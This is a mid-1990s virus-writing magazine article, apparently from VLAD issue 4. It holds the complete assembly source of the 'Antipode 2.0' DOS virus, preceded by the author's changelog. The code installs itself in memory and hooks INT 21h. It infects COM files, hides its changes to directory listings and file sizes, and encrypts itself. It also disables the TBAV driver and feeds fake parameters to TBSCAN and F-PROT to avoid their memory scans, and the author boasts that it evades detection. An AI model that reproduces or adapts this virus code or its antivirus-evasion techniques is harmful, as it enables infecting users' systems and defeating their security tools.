HPAVC/HPAVC CD-ROM.iso/pc/MAGS.ZIP/VLAD#4.ZIP/ARTICLE.4_4

Text File | 1995-04-20 | 14.2 KB | 594 lines

; Hi guys, here's Automag hitting once again from France...
; Here comes Antipode Version 2.0, it really looks like 1.0 at the 1st look
; but i have done a lot of improvements, and fixed a bug ( try to copy COM
; files under windows file's manager when the 1.0 is in memory... i had
; never seen Windows going back to Dos so fast :) ) the bug was at the
; line 254... and that was stupid ... just a pop...

; the Majors improvements are :
; - Fake parameters added to TBSCAN command line to avoid memory scan and
;   'OWN' file system.
; - Patch the screen to 'OWN' instead of 'DOS'.
; - Fake parameters added to F-PROT command line to avoid memory scan.
; - Disable infection while f-prot is running to avoid the nasty
;   'Alert ! an active "stealth" virus has been found in memory' flag.
; - Use the original int 21h vector, thus calls cant get monitored.
; - Disable TBDRIVER when found in memory, thus avoiding the whole TBAV pack.
; - still infect on int 21h 3d/6c/4b.
; - still fake tbscan by saying that the size is 0 if the file is infected.
; - still 11/12 & 4e/4f stealth.
; - this version is not detected by TBAV 6.34 ( 1.0 was detected ).
; - And last but not least: you dont need to trace anymore after compiling
;   just copy the binary after a 16 bytes .com that just jump at the end...
; i perhaps added some other stuffs, in fact, i cant remember :)

; Things to do :
; - disinfection on the fly
; - EXE infection, yep, i never coded an EXE infector :)
; - Polymorphic encryption
; - Command.com infection... all my tests crashed lamely, but i will do my best
; - reduce the size under the 15Kb :)

exec_adr        =       0000:0100h              ; Address of return

        jumps                           ; Allow Tasm to resolve too
                        ; long jumps
virusseg        segment byte public
        assume  cs:virusseg, ds:virusseg

        org     0000h                   ; Begin the virus at IP=0

start:
        push    ds:[101h]               ; 101=offset of the jump
        pop     dx
        sub     dx,0FFFFh-102h          ; Dx=offset start
        push    dx                      ; put it on the stack
        mov     si,offset quit          ; adaptation of Qarks routine
                        ; to fool debuggers
        add     si,dx
        mov     word ptr ds:[si],20CDh
quit:           mov     word ptr ds:[si],04C7h

        call    cryptage                ; decrypt the virus
        jmp debut_cr                    ; jump to the virus

cryptage        proc near
        mov     si,offset debut_cr      ; start of the encrypted area
        add     si,dx                   ; fix it
        mov    di,si
        sub    di,140h
cryptage_2      proc near                       ; this proc will be called to
                        ; encrypt the virus
        mov     cx,offset last-offset debut_cr
                        ; cx=length to encrypt
cr:             xor     word ptr ds:[si],di     ; enc/decrypt the virus
        inc     si                      ; move to next byte
        loop    cr                      ; and enc/decrypt the virus
        ret
cryptage_2      endp
cryptage        endp

debut_cr:
        mov     si,offset buffer        ; Buffer contains original
                        ; bytes of the virus
        add     si,dx                   ; fix it once again
        mov     di,100h                 ; destination is entrypoint
        push    cs
        pop     es
        movsw
        movsb                           ; Patch back to the original

        mov     ah,02ch                 ; Ask for the Time
        int     21h
        cmp     dl,242                  ; Are we in memory ?
        jne     not_in_ram              ; if not, install
        push    cs
        mov     ax,100h
        push    ax
        retf                            ; go back to original entry

not_in_ram:
        call    disable_tbdriver
        push    cs
        pop     ax
        dec     ax
        mov     ds,ax                   ; DS -> MCB
        inc     ax
        mov     cx,word ptr ds:[0003]
        mov     dx,cx                   ; DX=number of parag. left
        add     dx,ax
        sub     cx,(((last2-start)/16)+1)*2
                        ; alloc 2*size of the virus
        mov     word ptr ds:[0003],cx   ; fix the MCB
        mov     cx,dx
        sub     cx,(((last2-start)/16)+1)*2
        mov     es,cx                   ; es=future cs of the virus
        mov     cx,(last2-start)+1      ; size of the virus
        push    cs
        pop     ds
        pop     dx
        mov     si,dx                   ; si = entry of the virus

        push    si
        push    cx

        mov     di,0
        rep movsb                       ; copy the virus to es:0

        pop     cx
        pop     si

        rep movsb                       ; once again

        push    es
        mov     cx,offset nextstep
        push    cx
        retf                            ; Jump to ES:IP
        ;install the virus in ram and hook vectors
nextstep:                                       ; We are at the top of mem

        push    cs
        pop     ds
        mov     word ptr ds:[farjmp+3],ax
                        ; Fix the return adress

        mov     ax,5200h                ; Get the original vectors
        int     21h            ; of int 21h
        mov     ds:word ptr save_int21+2,es
        mov     ds:word ptr save_int21,109eh

        push    ds
        cli
        xor    ax,ax
        mov    ds,ax
        mov     ax,offset my_int21      ; Use our int instead
        xchg    word ptr ds:[21h*4],ax
        mov    word ptr cs:[old_int21],ax
        mov     ax,cs
        xchg    word ptr ds:[21h*4+2],ax
        mov    word ptr cs:[old_int21+2],ax
        sti
        pop    ds

farjmp:         jmp far ptr exec_adr            ;Return to the original


my_int21        proc    far
        cmp     ah,4ch
        je      terminate
        cmp    byte ptr cs:[fprot_active],1
        je    to_vect
        cmp     ah,11h          ; Find first
        je      dir_stealth
        cmp     ah,12h          ; Find next
        je      dir_stealth
        cmp     ah,4Eh          ; Find first
        je      find_file
        cmp     ah,4Fh          ; Find next
        je      find_file
        cmp     ah,3dh          ; File open
        je      check_it
        cmp     ah,4bh          ; Exec
        je      check_it
        cmp     ah,6ch          ; Extended open
        je      check_it
        cmp     ah,02ch         ; Time
        jne     to_vect

        call    int21

        mov     dl,242          ; seconds = 242
        push    cs
        pop     bx
        iret
check_it:
        jmp     check_it2

dir_stealth:
        call    int21
        test    al,al
        jnz     not_a_file

        pushf
        push    di
        push    ax
        push    bx
        push    es

        mov     ah,51h
        call    int21

        mov     es,bx
        cmp     bx,es:[16h]
        jnz     not_infected
        mov     bx,dx
        mov     al,[bx]
        push    ax
        mov     ah,2fh
        call    int21
        pop     ax
        inc     al
        jnz     fcb_ok
        add     bx,7h
fcb_ok:         mov     ax,es:[bx+17h]
        add     bx,3
        jmp     patch_size
find_file:
        call    int21
        jc      not_a_file
        pushf
        push    di
        push    ax
        push    bx
        push    es

        cmp     byte ptr cs:[tbscan_active],1
                        ; is TBSCAN active ?
        jne     dont_fool_DOS

        mov    cx,1
        mov    ax,0b800h
        mov    es,ax
        mov    di,956h
        mov    al,'O'
        stosb
        inc    di
        mov    al,'W'
        stosb
        inc    di
        mov    al,'N'
        stosb

dont_fool_DOS:
        mov     ah,2Fh
        call    int21

        mov     ax,es:[bx+16h]          ; ax=time
patch_size:
        and     al,1fh                  ; ax=seconds
        xor     al,1                    ; are seconds=2 ?
        jnz     not_infected
        mov     ax,offset last-offset start
                        ; ax = size of the virus
        cmp     cx,1
                        ; is TBSCAN active ?
        jne     dont_fool
        mov     ax,word ptr es:[bx+1Ah] ; if active then file size = 0

dont_fool:      sub     word ptr es:[bx+1Ah],ax
                        ; sub virus size to file size

not_infected:
        pop      es
        pop      bx
        pop      ax
        pop     di
        popf

not_a_file:
        retf 2                          ; no iret to save the flags
                        ; thanks to Qark...

check_it2:      pushf
        push    ax
        push    bx
        push    cx
        push    di
        push    dx
        push    ds
        push    es
        push    si
        mov     byte ptr cs:[function],ah
                        ; save ah for later
        cmp     ax,6c00h
        jne     not_extended
        cmp     dl,1                    ; int 21h ax=6c00h/dx=0001h->
                        ; int 21 ah=3dh
        jne     push_no_good
        mov     dx,si                   ; the name -> DS:SI
not_extended:
        mov    cs:[save_es],es
        mov    cs:[save_bx],bx
        push    ds
        push    dx                      ; save filename seg/offs

        mov     ax,3524h
        call    int21
        mov     word ptr cs:[save_int24],bx
        mov     word ptr cs:[save_int24+2],es
                        ; save int 24h
        push    cs
        pop     ds
        mov     dx,offset my_int24
        mov     ax,2524h
        call    int21

        pop     dx
        pop     ds                      ; restore the filename

        mov     al,00h
        push    ds
        push    ds
        pop     es
        mov     di,dx
        mov     cx,0ffh
        repne   scasb                   ; seek to the end of the name

        push    cs
        pop     ds
        push    ds es
        cmp     byte ptr cs:[function],4bh
        jne     not_exec
        push    di
        sub     di,11
        mov     si,offset tbscan
        mov     cx,10
        rep     cmpsb

        jnz     not_tbscan
        mov     byte ptr cs:[tbscan_active],1
        mov    bx,offset tbscan_command
        jmp    pass_parameters
not_tbscan:
        pop    di
        push    di
        sub     di,9
        mov     si,offset fprot
        mov     cx,8
        rep     cmpsb
        jnz     not_fprot
        mov     byte ptr cs:[fprot_active],1
        mov    bx,offset fprot_command
pass_parameters:
        mov    ax,cs:[save_es]
        mov    ds,ax
        mov    si,cs:[save_bx]
        add    si,2
        lodsw
        mov    di,ax
        lodsw
        mov    es,ax
        mov    ds,ax
        mov    si,di
        xor    ax,ax
        lodsb
        add    ax,8
        stosb
        add    di,ax
        sub    di,8
        mov    ax,cs
        mov    ds,ax
        mov    si,bx
        mov    cx,9
        rep    movsb
not_fprot:
        pop    di

not_exec:
        pop    es ds
        sub     di,4
        push    di                      ; seek to the extension

        mov     si,offset comfile
        mov     cx,3

        rep     cmpsb                   ; check if the file is a COM
        pop     di
        jz      good


        push    di
        mov     si,offset comfile+3
        mov     cx,3

        rep     cmpsb                   ; or a com
        pop     di
        jnz     no_good

good:
        pop     ds
        cmp     word ptr [di-3],'DN'    ; COMMAND.COM ?
        jz      push_no_good

        mov     ax,4300h
        call    int21                   ; get the attributes

        mov     word ptr cs:[save_attrib],cx
        jc      exit_2                  ; if no file exists...RUN !!!

        and    cl,00100000b
        jne    exit_2

        mov     ax,4301h
        xor     cx,cx
        call    int21                   ; set zero attributes

        push    ds
        push    dx

        mov     ax,3d02h                ;Open file Read/write

        call    int21

        mov     bx,ax                   ; bx = handle
        mov     ax,5700h                ; get file time/date
        call    int21
        mov     cs:[save_time],cx
        mov     cs:[save_date],dx       ; save them

        mov     ax,word ptr cs:[save_time]
                        ;Check for an infection
        and     al,1Fh
        xor     al,1
        je      dirty_exit

        push    cs
        pop     ds
        mov     dx,offset buffer+(offset last2-offset start)+1
        mov     cx,end_patch-patch
        mov     ax,3F00h                ; Read xx first bytes
        call    int21                   ; to te buffer of the second
                        ; copy of the virus in memory

        xor     cx,cx
        xor     dx,dx
        mov     ax,4202h                ; Seek to EOF..
        call    int21

        mov     di,ax                   ; ax = end of file
        add     di,offset debut_cr-offset start+100h-140h
                        ; di = value of the XOR
        sub     ax,3h                   ; ax = adress of the jump
        mov     word ptr cs:[return+1],ax
                        ; patch the future file
        mov     si,(offset last2-offset start)+offset debut_cr+1
                        ; si=offset of the 2nd virus
        push    si
        push    di

        call    cryptage_2              ; crypt the 2nd copy

        push    cs
        pop     ds
        mov     dx,offset last2+1       ; dx= offset of the 2nd copy
        mov     cx,last-start
        mov     ah,40h
        call    int21                   ; Write the virus to file...

        pop     di
        pop     si

        call    cryptage_2              ; decrypt the 2nd copy

        xor     cx,cx
        xor     dx,dx
        mov     ax,4200h                ; seek to start of file
        call    int21

        push    cs
        pop     ds
        mov     dx,offset patch
        mov     cx,end_patch-patch
        mov     ah,40h
        call    int21                   ; write the jump to the file

        mov     dx,cs:[save_date]
        mov     cx,cs:[save_time]
        or      cx,0001h
        and     cx,0FFE1h
        mov     ax,5701h
        call    int21                   ; restore file time/date

dirty_exit:
        pop     dx
        pop     ds

        mov     ah,3eh
        call    int21                   ; close the file


exit_2:         mov     ax,4301h
        mov     cx,word ptr cs:[save_attrib]
        call    int21                   ; restore the attributes
push_no_good:
        push    ds
no_good:
        pop     ds
        mov     ds,cs:[save_int24+2]
        mov     dx,cs:[save_int24]
        mov     ax,2524h
        call    int21                  ; restore the int 24h

        pop     si
        pop     es
        pop     ds
        pop     dx
        pop     di
        pop     cx
        pop     bx
        pop     ax
        popf
to_vect:        jmp     dword ptr cs:[old_int21]
                        ; and call the int 21h
terminate:
        mov     byte ptr cs:[tbscan_active],0
        mov     byte ptr cs:[fprot_active],0
        jmp     to_vect

my_int21        endp

my_int24        proc    far                     ; int 24h
        mov     al,0                    ; no problem...
        iret                            ; and return
my_int24        endp

disable_tbdriver:
        mov    ax,5200h
        int    21h
        mov    ax,es:[bx-2]
        mov    bx,cs
        mov    es,bx
next_mcb:
        mov    ds,ax
        cmp    byte ptr ds:[0000],'Z'
        jz    last_MCB
        mov    si,8
        mov    di,offset TBDRIVER
        mov    cx,5
        rep    cmpsb
        jz    TBfound
        add    ax,word ptr ds:[0003]
        inc    ax
        jmp    next_mcb
TBfound:
        mov    bx,0CF0h
        mov    si,0
search_next:
        mov    di,offset TBDRIVER_Entry
        mov    cx,3
        rep    cmpsb
        jz    seek_to_patch
        dec    bx
        jnz    search_next
seek_to_patch:
        mov    byte ptr [si-2],0
last_mcb:
        ret
TBDRIVER     db 'TBDRIVER'
TBDRIVER_ENTRY    db 0ebh,05h,0eah
endp

comfile         db 'COMcom'                     ; extensions to infect
tbscan          db 'TBSCAN.EXE'
fprot        db 'PROT.EXE'
        db '[Antipode 2.0]'
tbscan_command    db ' co nm ',0dh
fprot_command    db ' /nomem',0dh
tbscan_active   db      0
fprot_active    db      0
buffer:         db      0CDh,20h,90h
int21   proc    near
        pushf
        db 9Ah
save_int21      dw      2 dup (?)
        ret
int21   endp

patch:
return:         db      0e9h
last:           db      00,00
end_patch:

save_es        dw    0
save_bx        dw    0
save_int24      dw      2 dup (?)
old_int21    dd    0
function        db      0
save_attrib     dw      0
save_date       dw      0
save_time       dw      0

last2:
virusseg        ends
        end     start